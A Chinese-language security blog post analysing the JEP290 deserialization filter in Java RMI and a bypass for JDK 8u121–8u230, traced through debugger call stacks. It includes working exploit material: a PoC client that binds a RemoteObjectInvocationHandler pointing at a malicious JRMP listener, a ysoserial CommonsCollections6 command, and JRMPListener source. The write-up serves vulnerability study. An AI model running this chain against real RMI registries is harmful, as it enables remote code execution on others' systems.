前言#
上文已经分析过 rmi 反序列化的几种攻击方法,这篇文章就学习了一下 JEP290 机制的检测和绕过思路,整个流程是比较清楚的了,就是让 registry 当作 client 端向恶意 jrmp 服务端发起 rmi 请求,此时环境的 filter 为空
JEP290 是什么#
实验版本 jdk1.8.0_192
高版本 jdk 引入了 JEP 290 策略,并在 Client 与 Registry 的通信过程中默认设置了 registryFilter, 使得只有在白名单里面的类才能够被反序列化
简单说就是一个防御反序列化攻击
的黑白名单过滤器
- 提供一个限制反序列化类的机制,白名单或者黑名单
- 限制反序列化的深度和复杂度
- 为 RMI 远程调用对象提供了一个验证类的机制
- 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
官方文档:https://openjdk.java.net/jeps/290
JEP290 支持的版本:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
设置 JEP290 的方式有下面两种:
- 通过 setObjectInputFilter 来设置 filter
- 直接通过 conf/security/java.properties 文件进行配置
JEP290 流程分析#
按照 zjj 的说法,其实就是把 client 与 registry 的通信划分为了两段,第一段是就是 client 与 registry 正常的通信,第二段就是 registry 作为客户端向恶意的 JRMP 服务端发起 RMI 请求,在第二段通信中,是没有进行 JEP290 check 的
上图中,其实是处理请求的代码,但是在第二个断点处存在 lookup 连接,所以如果可以控制一些参数的话,就可以把第二个断点当作入口,在里面进行新的 rmi 通信
JEP290 check 点#
首先服务端还是在RegistryImpl_Skel#dispatch
处理远程调用,case 0 对应 bind 操作,var82 对应绑定对象的名称,var87 对应要导出的远程对象,再此对传入的远程调用流进行反序列化
然后再依次步进:
readClassDesc
方法会根据反序列化的类不同进入不同的 case 中,这里注意代理类,
就会进入filterCheck
当第一次分析的时候,就可以从 logging 这里下断点,因为这个信息我们能从报错中得到,然后根据调用栈再来分析整个 check 流程,调用栈如下
filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
在filterCheck
的status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));
部分就会调用 check 方法:RegistryImpl#registryFilter
这里对反序列化的类进行了白名单限制:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
只要反序列化的类不是白名单中的类,就会返回 REJECTED 操作符,表示序列化流中有不合法的内容,直接抛出异常。
Server 端执行 bind 方法的参数必须是一个实现了 Remote 接口的对象,但是普通的 CC 链最后生成的恶意对象是不满足这个条件的,这时候就需要动态代理来代理 Remote 接口,实际上最后绑定的是动态代理生成的代理对象:
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap); Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler); registry.bind("pwn", remote);
在反序列化的时候,除了对代理对象本身反序列化,也要对其内部字段进行反序列化,类似于一个递归的过程,我们的代理对象本身(它自身实现了被代理的接口,这里是 Remote 接口)是不会触发 check 的,真正触发 check 的其实是内部的 InvocationHandlerImpl
然后可以看上面的调用栈,其实是调用了两次 readObject0 方法的,第一次就是对代理对象本身的反序列化,第二次是对其内部字段进行反序列化。
readSerialData
方法会读取对象内部的字段,然后循环进入 readObject0 方法处理:
最终会因为InvocationHandlerImpl
触发 filter 的 check:
filter 创建过程#
在触发 check 的时候,filter 是一个 Lambda 表达式
其会进入RegistryImpl#registryFilter
, 整个调用栈如下
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
现在的问题是为什么会进入RegistryImpl#registryFilter
, 先看RegistryImpl
的构造函数
虽然有多个重载的构造方法,核心都是传入了一个 Lambda 表达式作为 filter
RegistryImpl::registryFilter
即info → RegistryImpl.registryFilter(info)
,因为它和ObjectInputFilter
接口的抽象方法签名一致,所以可以直接通过方法引用来简写:
同时在第二种构造函数中,Lambda 表达式以 ObjectInputFilter 接口的形式传入了 UnicastServerRef2 的构造方法中
最后赋值给了该类的 filter 成员变量
同时需要注意到在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在,直到 Registry 在处理请求的时候,在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter
调用栈:
setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
Bypass 8u121~8u230#
UnicastRef 类#
在代码层面来说,我们在执行 bind、lookup 等方法的时候都会先获取到一个 Registry,比如:
Registry registry = LocateRegistry.getRegistry(1099);
跟进LocateRegistry#getRegistry
方法:
这里的 TCPEndpoint 封装了 Registry 的 host、端口等信息,然后用 UnicastRef 封装了 liveRef。最终获取到的是一个 RegistryImpl_Stub 对象
然后用这个 Stub 对象(客户端)去连接 Registry, 这里以 bind 方法为例
从这个过程来看,通过 UnicastRef 的 newCall 方法发起连接,然后把要查找的对象发送到 Registry。
所以如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息,我们就可以发起一个任意的 JRMP 连接请求,这其实就是 ysoserial 中的 payloads.JRMPClient 的原理。
RemoteObject 类#
RemoteObject 是一个抽象类,在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口,代表它(及其子类)可以通过白名单的检测,而 Bypass 利用的关键点就是它的 readObject 方法:
测试代码#
这里攻击的是register
, 依次执行下面命令和 java 文件
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"
RMIRegistry
package bypass_jep290;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}
DefineClient
package bypass_jep290;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以,但需要手动模拟lookup方法的流程
registry.bind("pwn", handler);
}
}
处理请求时反序列化远程调用对象 (有 check)#
首先是 client 对 registry 发起了一个 bind 请求,进入到RegistryImpl_Skel#dispatch
的处理逻辑中,在readObject
处反序列化 client 传给 registry 的远程调用对象,在这其中存在 JEP290 的 check 点,调用栈如下:
filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
因为我们反序列化的对象是RemoteObjectInvocationHandler
, 所以绕过了 check, 然后进入RemoteObject
的readObject
方法
在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口)然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法:
建立了一个 TCPEndpoint 到 ArrayList的映射关系。
调用栈如下:
readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
根据调用栈可以看见,在readOrdinaryObject
会先进入readClassDesc
进行 check, 再进入readSerialData
反序列化对象
releaseInputStream 作为入口进行新的 rmi 通信 (无 check)#
再处理完上诉请求之后,releaseInputStream
会释放与RemoteCall
关联的输入流,但是这里会进行 lookup 查找操作
这里的 in 就是上面说到的包装了 LiveRef 对象 ConnectionInputStream 对象,继续跟进:
在这里就会根据之前存储的映射关系,读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口), 提取值然后传入DGCClient#registerRefs
方法中:
这里 lookup 其实没干什么,只是封装了下我们的 var0
后续在executeCall()
中this.getInputStream();
建立新的通讯
,然后将接收序列化数据执行反序列化
调用栈如下:
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
TCPEndpoint(JRMP 段地址)的赋值#
要编写 poc, 就要查看 TCPEndpoint 是如何赋值的,上面已经分析过,是从 RemoteObject 的 readObject 方法开始的,这里再看下需要注意的细节
这里会从序列化数据
提取出ip
和port
, 生成一个TCPEndpoint
赋给var2
, 然后封装成一个LiveRef
传到var6.saveRef()
里
saveRef()
里最后存在到incomingRefTable
这个table
里面,可以回头看利用分析
, 就是从这个变量
取的对象
现在我们看能否给这个变量赋值,重点代码如下:
TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);
第二段通信关于 check 的细节#
第一段通信是 server 向 registry 进行 bind 的,向Register端
进行数据传输
上文已经说了,在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在,直到 Registry 在处理请求的时候,在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter, 所以现在的 serialFilter 为 null
同时注意到这里的ConnectionInputStream@953
编号
然后再在在UnicastServerRef#unmarshalCustomCallData()
中给this.serialFilter
设置了值
注意这里编号ConnectionInputStream@953
然后进入第二段的 jrmp 通信
在建立完上面说到的新的通讯
后,也会到ObjectInputStream
设置serialFilter
, 但是由于没有进入UnicastServerRef#oldDispatch
方法,所以这里的serialFilter
为 null,
编号为ConnectionInputStream@1121
, 然后到StreamRemoteCall#executeCall
方法,反序列化 jrmp 返回的恶意对象
这里也是没有设置serialFilter
的
小结#
这里我想表达什么呢,就是分清楚,这种方法为什么可以绕过JEP290
, 第一段通信registry
是和Server端
, 第二段是和JMRP端
。这里ConnectionInputStream
其实就代表着ObjectInputStream
, 而第一段通信中设置的serialFilter
只作用于第一段通信中,及只作用于Register和Server之间的readObject中
!!(JEP290作用域
)
同时 Bypass JEP290 的思路如下:
- 用 ysoserial 开启一个恶意的 JRMPListener
- 控制 RemoteObject 中的 UnicastRef 对象,这个对象封装了恶意 Server 的 host、端口等信息。
- Client / Server 向 Registry 发送这个 RemoteObject 对象,Registry 触发 readObject 方法之后会向恶意的 JRMP Server 发起连接请求。
- 后续触发 JRMPListener
Registry 触发反序列化的利用链:
客户端发送数据 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (处理请求)
–> RemoteObject#readObject (第一次通信,进入RemoteObject#readObject, 为了经过反序列化可以设置内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server)
StreamRemoteCall#releaseInputStream (释放资源处,第二次通信入口)
–> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs
–> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”
yso 的代码#
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
待补充 poc 编写思路、看看 ysoserial 的二开#
修复#
在dirty()
方法中建立通讯
后,给this.filter
设置了一个JEP290
(表达式)
原始
修复后
然后在this.in
的serialFilter
中设置上这个filter
在dirty()
方法中建立通讯
后,给this.filter
设置了一个JEP290
(表达式)
然后被检测出来